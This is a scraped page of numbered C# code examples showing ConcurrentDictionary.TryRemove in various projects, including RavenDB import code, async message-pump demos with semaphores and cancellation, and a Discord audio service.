                            _database.DocumentsStorage.AttachmentsStorage.PutAttachmentStream(context, attachment.Tag, attachment.Base64Hash, attachment.Stream);
                        }
                    }

                    var document = documentType.Document;
                    var id       = document.Id;


                    if (IsRevision)
                    {
                        if (_database.DocumentsStorage.RevisionsStorage.Configuration == null)
                        {
                            ThrowRevisionsDisabled();
                        }

                        PutAttachments(context, document);
                        if ((document.NonPersistentFlags.Contain(NonPersistentDocumentFlags.FromSmuggler)) &&
                            (_missingDocumentsForRevisions != null))
                        {
                            if (_database.DocumentsStorage.Get(context, document.Id) == null)
                            {
                                var collection = _database.DocumentsStorage.ExtractCollectionName(context, document.Data);
                                _missingDocumentsForRevisions.TryAdd(document.Id.ToString(), collection);
                            }
                        }

                        if (document.Flags.Contain(DocumentFlags.DeleteRevision))
                        {
                            _missingDocumentsForRevisions?.TryRemove(id, out _);
                            _database.DocumentsStorage.RevisionsStorage.Delete(context, id, document.Data, document.Flags,
                                                                               document.NonPersistentFlags, document.ChangeVector, document.LastModified.Ticks);
                        }
                        else
                        {
                            _database.DocumentsStorage.RevisionsStorage.Put(context, id, document.Data, document.Flags,
                                                                            document.NonPersistentFlags, document.ChangeVector, document.LastModified.Ticks);
                        }

                        continue;
                    }

                    if (DatabaseSmuggler.IsPreV4Revision(_buildType, id, document))
                    {
                        // handle old revisions
                        if (_database.DocumentsStorage.RevisionsStorage.Configuration == null)
                        {
                            ThrowRevisionsDisabled();
                        }

                        var endIndex = id.IndexOf(DatabaseSmuggler.PreV4RevisionsDocumentId, StringComparison.OrdinalIgnoreCase);
                        var newId    = id.Substring(0, endIndex);

                        _database.DocumentsStorage.RevisionsStorage.Put(context, newId, document.Data, document.Flags,
                                                                        document.NonPersistentFlags, document.ChangeVector, document.LastModified.Ticks);
                        continue;
                    }

                    PutAttachments(context, document);

                    _database.DocumentsStorage.Put(context, id, null, document.Data, document.LastModified.Ticks, null, document.Flags, document.NonPersistentFlags);
                }

                foreach (var idToUpdate in idsOfDocumentsToUpdateAfterAttachmentDeletion)
                {
                    _database.DocumentsStorage.AttachmentsStorage.UpdateDocumentAfterAttachmentChange(context, idToUpdate);
                }

                return(Documents.Count);
            }
Example #40
0
        public bool Remove(Guid id)
        {
            T item = default(T);

            return(_items.TryRemove(id, out item));
        }
Example #41
0
        public async Task ACompleteExampleMixingConcurrentAndAsynchronousProcessingWithTrueAsyncOperations()
        {
            var runningTasks = new ConcurrentDictionary<Task, Task>();
            var semaphore = new SemaphoreSlim(100);
            var tokenSource = new CancellationTokenSource(TimeSpan.FromSeconds(10));
            var token = tokenSource.Token;

            try
            {
                var pumpTask = Task.Factory.StartNew(async () =>
                {
                    int taskNumber = 0;
                    while (!token.IsCancellationRequested)
                    {
                        await semaphore.WaitAsync(token);
                        int nr = Interlocked.Increment(ref taskNumber);

                        Console.WriteLine("Kick off " + nr + " " + Thread.CurrentThread.ManagedThreadId);
                        var task = LibraryCallWhichIsTrulyAsync();

                        task.ContinueWith(t =>
                        {
                            Console.WriteLine(" back " + nr + " " + Thread.CurrentThread.ManagedThreadId);
                            semaphore.Release();
                            Task taskToBeRemoved;
                            runningTasks.TryRemove(t, out taskToBeRemoved);
                        }, TaskContinuationOptions.ExecuteSynchronously)
                        .Ignore();

                        runningTasks.AddOrUpdate(task, task, (k, v) => task)
                        .Ignore();
                    }
                }, token, TaskCreationOptions.LongRunning, TaskScheduler.Default)
                .Unwrap();

                await pumpTask;
            }
            catch (OperationCanceledException)
            {
            }
            await Task.WhenAll(runningTasks.Values);
        }
Example #42
0
        public async Task LimitingThreads(TaskCreationOptions options, bool configureAwait)
        {
            $"Running with creation options {options} and ConfigureAwait({configureAwait})".Output();

            #region Cancellation AsBefore

            var runningTasks = new ConcurrentDictionary<Task, Task>();
            var semaphore = new SemaphoreSlim(800);
            var tokenSource = new CancellationTokenSource(TimeSpan.FromSeconds(2));
            var token = tokenSource.Token;
            int numberOfTasks = 0;

            #endregion

            var scheduler = new LimitedConcurrencyLevelTaskScheduler(8);

            var pumpTask = Task.Run(async () =>
            {
                while (!token.IsCancellationRequested)
                {
                    await semaphore.WaitAsync(token).ConfigureAwait(false);

                    var runningTask = Task.Factory.StartNew(() =>
                    {
                        Interlocked.Increment(ref numberOfTasks);

                        return HandleMessageUnderSpecialScheduler(configureAwait, token);
                    }, CancellationToken.None, options, scheduler)
                    .Unwrap();

                    #region Tracking and Housekeeping AsBefore

                    runningTasks.TryAdd(runningTask, runningTask);

                    runningTask.ContinueWith(t =>
                    {
                        semaphore.Release();

                        Task taskToBeRemoved;
                        runningTasks.TryRemove(t, out taskToBeRemoved);
                    }, TaskContinuationOptions.ExecuteSynchronously)
                        .Ignore();

                    #endregion
                }
            });

            await pumpTask.IgnoreCancellation().ConfigureAwait(false);
            await Task.WhenAll(runningTasks.Values).IgnoreCancellation().ConfigureAwait(false);
            tokenSource.Dispose();

            $"Consumed {numberOfTasks} messages with concurrency {semaphore.CurrentCount} in 5 seconds. Throughput {numberOfTasks / 5} msgs/s".Output();
        }
Example #43
0
 public override void DeleteActionIdentity(string identity)
 {
     NetworkFiles.TryRemove(identity, out var stream);
     stream?.Dispose();
     File.Delete(identity);
 }
			static void RemoveDocument (ConcurrentDictionary<DocumentId, List<DeclaredSymbolInfo>> result, Microsoft.CodeAnalysis.DocumentId documentId)
			{
				if (result.ContainsKey (documentId)) {
					List<DeclaredSymbolInfo> val;
					result.TryRemove (documentId, out val);
				}
			}
Example #45
0
        public async Task CancellingAndGracefulShutdown()
        {
            #region Cancellation AsAbove

            var tokenSource = new CancellationTokenSource();
            tokenSource.CancelAfter(TimeSpan.FromSeconds(1));
            var token = tokenSource.Token;

            #endregion

            #region Task Tracking AsAbove

            var runningTasks = new ConcurrentDictionary<Task, Task>();

            #endregion

            #region Limiting AsAbove

            var semaphore = new SemaphoreSlim(2);

            #endregion

            var pumpTask = Task.Run(async () =>
            {
                while (!token.IsCancellationRequested)
                {
                    #region Output

                    "Pumping...".Output();

                    #endregion

                    await semaphore.WaitAsync(token).ConfigureAwait(false);

                    #region HandleMessage AsAbove

                    var runningTask = HandleMessageWithCancellation(token);

                    runningTasks.TryAdd(runningTask, runningTask);

                    #endregion

                    #region Releasing Semaphore & Housekeeping AsAbove

                    runningTask.ContinueWith(t =>
                    {
                        #region Output

                        "... done".Output();

                        #endregion

                        semaphore.Release();

                        #region Housekeeping

                        Task taskToBeRemoved;
                        runningTasks.TryRemove(t, out taskToBeRemoved);

                        #endregion

                    }, TaskContinuationOptions.ExecuteSynchronously)
                        .Ignore();

                    #endregion
                }
            }, CancellationToken.None);

            await pumpTask.IgnoreCancellation().ConfigureAwait(false);

            #region Awaiting completion

            #region Output

            "Pump finished".Output();

            #endregion

            await Task.WhenAll(runningTasks.Values).IgnoreCancellation().ConfigureAwait(false);

            #region Output

            "All receives finished".Output();

            #endregion

            tokenSource.Dispose();
            semaphore.Dispose();

            #endregion
        }
Example #46
0
 public bool TryRemove(int pairIndex)
 {
     return(_map?.TryRemove(pairIndex, out var temp) ?? false);
 }
Example #47
0
        public async Task ConcurrentlyHandleMessages()
        {
            #region Cancellation AsAbove

            var tokenSource = new CancellationTokenSource();
            tokenSource.CancelAfter(TimeSpan.FromSeconds(1));
            var token = tokenSource.Token;

            #endregion

            var runningTasks = new ConcurrentDictionary<Task, Task>();

            var pumpTask = Task.Run(() =>
            {
                while (!token.IsCancellationRequested)
                {
                    #region Output

                    "Pumping...".Output();

                    #endregion

                    var runningTask = HandleMessage();

                    runningTasks.TryAdd(runningTask, runningTask);

                    runningTask.ContinueWith(t =>
                    {
                        #region Output

                        "... done".Output();

                        #endregion

                        Task taskToBeRemoved;
                        runningTasks.TryRemove(t, out taskToBeRemoved);
                    }, TaskContinuationOptions.ExecuteSynchronously);
                }
            });

            await pumpTask.ConfigureAwait(false);

            #region Output

            "Pump finished".Output();

            #endregion

            await Task.WhenAll(runningTasks.Values).ConfigureAwait(false);

            #region Output

            "All receives finished".Output();

            #endregion

            tokenSource.Dispose();
        }
        private ConcurrentDictionary<ControllerIdentification, HttpControllerDescriptor> InitializeControllerInfoCache() {
            IsControllerCacheInitialized = true;

            var result = new ConcurrentDictionary<ControllerIdentification, HttpControllerDescriptor>(ControllerIdentification.Comparer);
            var duplicateControllers = new HashSet<ControllerIdentification>();
            Dictionary<ControllerIdentification, ILookup<string, Type>> controllerTypeGroups = this._controllerTypeCache.Cache;

            foreach (KeyValuePair<ControllerIdentification, ILookup<string, Type>> controllerTypeGroup in controllerTypeGroups) {
                ControllerIdentification controllerName = controllerTypeGroup.Key;

                foreach (IGrouping<string, Type> controllerTypesGroupedByNs in controllerTypeGroup.Value) {
                    foreach (Type controllerType in controllerTypesGroupedByNs) {
                        if (result.Keys.Contains(controllerName)) {
                            duplicateControllers.Add(controllerName);
                            break;
                        } else {
                            result.TryAdd(controllerName,
                                          new HttpControllerDescriptor(this._configuration, controllerName.Name, controllerType));
                        }
                    }
                }
            }

            foreach (ControllerIdentification duplicateController in duplicateControllers) {
                HttpControllerDescriptor descriptor;
                result.TryRemove(duplicateController, out descriptor);
            }

            return result;
        }
Example #49
0
 public static void removal(ConcurrentDictionary<String, Vector3I> bullets, Map map)
 {
     foreach (Vector3I bp in bullets.Values)
     {
         map.QueueUpdate(new BlockUpdate(null,
             (short)bp.X,
             (short)bp.Y,
             (short)bp.Z,
             Block.Air));
         Vector3I removed;
         bullets.TryRemove(bp.ToString(), out removed);
     }
 }
Example #50
0
            public bool TryRemove(T key)
            {
                WeakReference <OnFinalise <R> > ignore = null;

                return(dict.TryRemove(key, out ignore));
            }
 public void Dispose()
 {
     _instances?.TryRemove(this.GetHashCode(), out _);
 }
Example #52
0
 public void Dispose()
 {
     observers?.TryRemove(id, out IObserver <T> value);
     observers = null;
 }
Example #53
0
            public bool TryRemove(int pairIndex)
            {
                TriviaData temp;

                return(_map?.TryRemove(pairIndex, out temp) ?? false);
            }
Example #54
0
 public Item Remove(string id)
 {
     items.TryRemove(id, out Item item);
     return(item);
 }
 public void Dispose()
 {
     Contract.ThrowIfTrue(_callbackInstances?.TryRemove(Id, out _) == false);
 }
Example #56
0
        public static void Cozy()
        {
            Console.WriteLine("\n-----------------------------------------------");
            Console.WriteLine(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType.FullName);
            Console.WriteLine("-----------------------------------------------");

            //并发集合
            //ConcurrentXXX这些集合都是线程安全的,实现了IProducerConsumerCollection<T>接口
            //里面如下的方法

            //[__DynamicallyInvokable]
            //void CopyTo(T[] array, int index);
        
            //[__DynamicallyInvokable]
            //bool TryAdd(T item);
        
            //[__DynamicallyInvokable]
            //bool TryTake(out T item);
        
            //[__DynamicallyInvokable]
            //T[] ToArray();

            //TryXX()方法返回一个bool值,说明操作是否成功

            //ConcurrentQueue<T>
            var concurrentQueue = new ConcurrentQueue<int>();
            concurrentQueue.Enqueue(1);
            int i;
            var reslut = concurrentQueue.TryPeek(out i);
            reslut = concurrentQueue.TryDequeue(out i);

            //ConcurrentStack<T>
            var concurrentStack = new ConcurrentStack<int>();
            concurrentStack.Push(1);
            reslut = concurrentStack.TryPeek(out i);
            reslut = concurrentStack.TryPop(out i);

            //ConcurrentBag<T>
            var concurrentBag = new ConcurrentBag<int>();
            concurrentBag.Add(1);
            reslut = concurrentBag.TryPeek(out i);
            reslut = concurrentBag.TryTake(out i);

            //ConcurrentDictionary<TKey,TValue>
            //该集合没实现IProducerConsumerCollection<T>,因此它的TryXX()是以非堵塞的方式访问成员
            var concurrentDictionary = new ConcurrentDictionary<int, int>();
            reslut = concurrentDictionary.TryAdd(1, 1);
            reslut = concurrentDictionary.TryRemove(1, out i);

            //BlockingCollection<T>,该集合的Add()和Taake()会阻塞线程并且一直等待
            var blockingCollection = new BlockingCollection<int>();

            var events  = new ManualResetEventSlim[2];
            var waits = new WaitHandle[2];

            for (int j = 0; j < events.Length; j++)
            {
                events[j] = new ManualResetEventSlim(false);
                waits[j] = events[j].WaitHandle;
            }

            new Thread(() =>
            {
                for (int j = 0; j < 300; j++)
                {
                    blockingCollection.Add(j);
                }
                events[0].Set();
            }).Start();

            new Thread(() =>
            {
                for (int j = 0; j < 300; j++)
                {
                    blockingCollection.Take();
                }
                events[1].Set();
            }).Start();

            if (!WaitHandle.WaitAll(waits))
            {
                Console.WriteLine("wait failed");
            }
            else
            {
                Console.WriteLine("reading/writing finished");
            }
        }
Example #57
0
 public bool TryRemove(int pairIndex)
 => _map?.TryRemove(pairIndex, out var temp) ?? false;
Example #58
0
        public void ConcurrentDictionaryTryAddTest()
        {
            int numFailures = 0; // for bookkeeping 

            // Construct an empty dictionary
            ConcurrentDictionary<int, String> cd = new ConcurrentDictionary<int, string>();

            // This should work 
            if (!cd.TryAdd(1, "one"))
            {
                Console.WriteLine("CD.TryAdd() failed when it should have succeeded");
                numFailures++;
            }

            // This shouldn't work -- key 1 is already in use 
            if (!cd.TryAdd(12, "uno"))
            {
                Console.WriteLine("CD.TryAdd() succeeded when it should have failed");
                numFailures++;
            }

            // Now change the value for key 1 from "one" to "uno" -- should work
            if (!cd.TryUpdate(2, "uno", "one"))
            {
                Console.WriteLine("CD.TryUpdate() failed when it should have succeeded");
                numFailures++;
            }

            // Try to change the value for key 1 from "eine" to "one"  
            //    -- this shouldn't work, because the current value isn't "eine" 
            if (!cd.TryUpdate(1, "one", "eine"))
            {
                Console.WriteLine("CD.TryUpdate() succeeded when it should have failed");
                numFailures++;
            }

            // Remove key/value for key 1.  Should work. 
            string value1;
            if (!cd.TryRemove(1, out value1))
            {
                Console.WriteLine("CD.TryRemove() failed when it should have succeeded");
                numFailures++;
            }

            // Remove key/value for key 1.  Shouldn't work, because I already removed it 
            string value2;
            if (cd.TryRemove(1, out value2))
            {
                Console.WriteLine("CD.TryRemove() succeeded when it should have failed");
                numFailures++;
            }

            // If nothing went wrong, say so 
            if (numFailures == 0) Console.WriteLine("  OK!");
        }
        internal void ClearMethodCache(Type type)
        {
            IdentifierMethod identifierMethod = null;

            methods.TryRemove(type, out identifierMethod);
        }
Example #60
-1
		void IService.Install(DiscordClient client)
		{
			Client = client;
            Config.Lock();

            if (Config.EnableMultiserver)
				_voiceClients = new ConcurrentDictionary<ulong, IAudioClient>();
			else
			{
				var logger = Client.Log.CreateLogger("Voice");
				_defaultClient = new SimpleAudioClient(this, 0, logger);
			}
			_talkingUsers = new ConcurrentDictionary<User, bool>();

			client.Disconnected += async (s, e) =>
			{
				if (Config.EnableMultiserver)
				{
					var tasks = _voiceClients
						.Select(x => x.Value.Disconnect())
						.ToArray();
					await Task.WhenAll(tasks).ConfigureAwait(false);
					_voiceClients.Clear();
				}
				foreach (var member in _talkingUsers)
				{
					bool ignored;
					if (_talkingUsers.TryRemove(member.Key, out ignored))
						OnUserIsSpeakingUpdated(member.Key, false);
				}
			};
		}